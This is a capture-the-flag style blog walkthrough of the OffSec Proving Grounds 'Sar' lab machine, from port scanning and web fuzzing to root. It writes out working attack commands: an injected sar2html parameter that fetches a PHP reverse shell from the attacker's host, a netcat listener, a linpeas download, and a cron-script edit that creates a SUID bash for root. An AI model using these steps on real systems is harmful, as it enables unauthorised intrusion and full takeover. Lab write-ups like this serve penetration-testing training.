Offensive-S3c: Sar - OffSec Proving Ground

<Introduction>

In this blog post, I will be doing a walkthrough of the OffSec PG Sar vulnerable host. I will provide a walkthrough of reconnaissance through post-exploitation. This will include performing port scanning, service enumeration, web fuzzing, OS command injection, and privilege escalation.

If you find this content informative and you are interested in cybersecurity, please like and subscribe to the Cyb3r-0verwatch channel. Also for more free content please regularly check back on www.Cyb3r-S3c.com.

<OVERVIEW>

Sar is a vulnerable host created to allow users to practice ethical hacking techniques. This virtual machine is downloadable from VulnHub and also accessible from the OffSec Proving Grounds virtual training lab. Sar is affected by a OS command injection vulnerability in the webapp sar2html.

OS command injection involves executing operating system commands on a web server through an improperly sanitized web interface. This exploit can allow users to upload malicious code or gain access to sensitive information.

<Active Recon: Enumerating What is Running>

I went ahead and started my target host Sar. Once the host is online I can get the assigned IP. The first thing I always do is information gathering, including port scans and service enumeration. This helps me get a good understanding of what I am dealing with.

nmap -sS - A -T4 -vv <IP> -oA /kali/Downloads/Nmap/sar

I use the Nmap to gather what information I can about the host because it tends to be more reliable. I ran the following command shown in the image above.

<Active Recon: Analyzing the Results>

Reviewing the nmap scan results I could see that nmap detected two open ports, port 80 (HTTP) and port 22 (SSH).

Analyzing the results of the nmap scan it appears that Sar is a linux host. This is based on the detected OS type, CPE, and banners. I could run some nmap scripts for more information, but I decided to move on to analyzing the http service and the webpage running on it.

<Active Recon: HTTP_The Weakest Link>

When I browsed to port 80 I ccould see what looked to be a default out of the box apache ubuntu page.

ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://192.168.161.92/FUZZ

I ran Fuff to crawl the entire site looking for hidden directories. I ran the following command shown in the image above. The -w is for the wordlist, -u is for the URL, and the -fc tells ffuf to exclude 403 responses. I am only looking for 200 ok responses.

After running Fuff the results showed a total of 3 pages. The index.html, phpinfo.php, and the robots.txt page.

I reviewed the robot.txt page. It noted sar2html. I investigated further.

I browsed to sar2html and it appeared to be a webapp where you could upload files. I reviewed the webapp looking for anything interesting.

When I clicked on New, I noticed an interesting url. It showed “New” as the value for the parameter “plot”.

searchsploit sar2html

Before further testing, I decided to check to see if there were any exploits available for sar2html in Searchsploit. I ran the following Searchsploit command shown in the image above.

The Searchsploit results showed there were two exploits available, as shown in the image above.

locate /"php/webapps/47204.txt"

I decided to review the 47204.txt. I ran the following command shown in the image above. Using the Locate program, it searched the entire system looking for 47204.txt starting at the root directory. Another option is running searchsploit -m 47204, this command will provide the full path to the exploit and it will also copy the exploit to the directory you are currently in.

cat /<directory_path_to_file>/47204.txt

When running an exploit, it's always a good idea to find out what the exploit will do and if any modifications are required before running it. I ran the following command shown in the image above. Based on my review of the contents of the text file it looks like it states that you just need to add a semicolon and a command after plot=.

All the analysis points to the webapp being affected by an OS command injection vulnerability. OS command injection involves executing operating system commands on a web server through an improperly sanitized web interface. This exploit can allow users to upload malicious code or gain access to passwords.

To test this assumption I went ahead and entered ;id and hit enter.

The page seemed to refresh. Sure enough, when I clicked the select host drop down I can see the user account for the web service was www-data. Based on this, the webapp does appear to be vulnerable to OS command injection.

<Exploitation: Getting a Foothold>

I wanted to see if I could get a reverse shell on the target host. In this case I tried the pentest monkey php reverse shell. It is located in the /usr/share/webshell/php folder.

cp /usr/share/webshells/php/php-reverse-shell.php /home/kali/Downloads/revshell.php

I copied the webshell to /Downloads folder using the command shown in the image above.

Before I could use the pentest monkey php reverse shell, I needed to make some modifications.

I updated the IP with my Kali host and left the port set to 1234.

nc -lvnp 1234

With my reverse shell modified, I needed to run my netcat listener. I use the following command shown in the image above. The -n tells netcat to not resolve hostnames or perform service lookups, -l sets necat to listen, the -v is for verbose, and the -p tells netcat what port to listen on.

With my reverse shell modified and netcat running as a listener, I can now try to upload the webshell to the target host. I replaced NEW with my wget command.

;wget http://192.168.45.236:8080/revshell.php

I ran the following command in the address bar, as shown in the image above to see if I can upload a webshell using the sar2HTML webapp. Make sure there is a semicolon after the equal character and before wget (example above).

After I hitting enter there was a quick refresh and it almost looked as if nothing happened. But looking closer on the top left on the top left of the page, you can see the wget output.

If I exploited the vulnerability correctly it should have uploaded the reverse shell to the sar2html folder on the web server. I needed to validate that it worked by browsing to the revshell.php page as shown in the image above.

After browsing to the reverse shell I could see that the reverse shell worked. My netcat listener caught a shell.

I ran the whoami command and it showed that I was logged in as www-data, which is the sar2html web service account.

Now that I got a foothold on the target host I needed to do some directory enumeration to see what I can find. I ran the ls -la command. Based on the output it looked like I was in the root directory.

I changed directory to the /home folder and ran the ls -la command. I could see the local.txt file containing the first flag.

I ran the cat command on the local.txt file to get the first flag. Now the next step is for me to find a way to escalate privileges.

In the meantime, I entered the local.txt hash into the OffSec Proving Grounds console and completed the first flag.

<Post-Exploitation: Privilege Escalation >

With the local flag submitted, I needed to capture the root flag. This requires me to escalate my privileges to root as the root flag is generally in the root account directory.

I ran linpeas to help me streamline the escalation path enumeration effort instead of manually running several commands and reviewing the results. I have keep a copy of linpeas in my /Downloads folder.

python -m http.server 8080

I started my http.server from the /Downloads folder where I have linpeas stored. This will allow http.server to provide access to linpeas in order for me to upload it to the target host.

wget http://192.168.45.236:8080/linpeas.sh

On the target host, I changed directory to the /tmp folder then I ran the wget command shown in the image above. This allowed me to download linpeas to the target host from kali.

I ran the ls -la command to verify that Linpeas was on the target host.

./linpeas.sh

I executed the linpeas script using the command in the image above to start enumerating the target host.

Running linpeas, it looked like it found a possible escalation point in a file call ./finally.sh that was detected in crontab.

When I ran the cat command on /etc/crontab, reviewing the output it looked as if the bash script was executed by root and ran every 5 mins.

I navigated to the /var/www/html folder to look at the bash script. I could see there was another bash script titled write.sh. Doing a ls -la I could see that the write bash script was writable by the www-data account.

echo "cp /bin/bash /var/www/html/bash" > write.sh 
echo "chmod u+s /var/www/html/bash" >> write.sh

In order to exploit these excessive permissions I needed write some commands into the write.sh script. The first command shown in the image above copies the /bin/bash program to the /var/www/html folder. The second command shown in the image above runs chmod on the bash file to enable the suid bit. This allowed me to run the copy of /bin/bash with root privileges.

I needed to wait 5 mins for the scheduled task noted in /etc/crontab to run. When I ran the cat command on the /var/www/html folder I could see that bash has been copied over. I ran the bash -p command shown in the image above. When I hit enter, I got a blank prompt.

To verify that privilege escalation worked I ran the whoami command.

After verifying that I was root, I navigated to the root home directory to look at the contents of the folder.

Reviewing the results, I could see the proof.txt file.

Now that I have obtained the proof.txt hash, I went ahead and entered the hash into the PG console and completed this host.

<CONCLUSION>

In conclusion, using a variety of techniques I was able to go from reconnaissance to gaining root privileges on Sar. Performing these steps allowed me to gather the information I needed in order to gain a foothold on the target host. Upon gaining access, performing further enumeration allowed me to find a workable escalation path to root in order to gain the final flag.

Thank you for reading this writeup on OffSec Proving Grounds Sar vulnerable host. If you find this content informative and you are interested in cybersecurity, please regularly check back on the Cyb3r-S3c website. For more free content, please like and subscribe to the Cyb3r-0verwatch channel. Until next time keep learning, the only way to improve is to keep learning.

/Signing Off,

Pragmat1c_0n3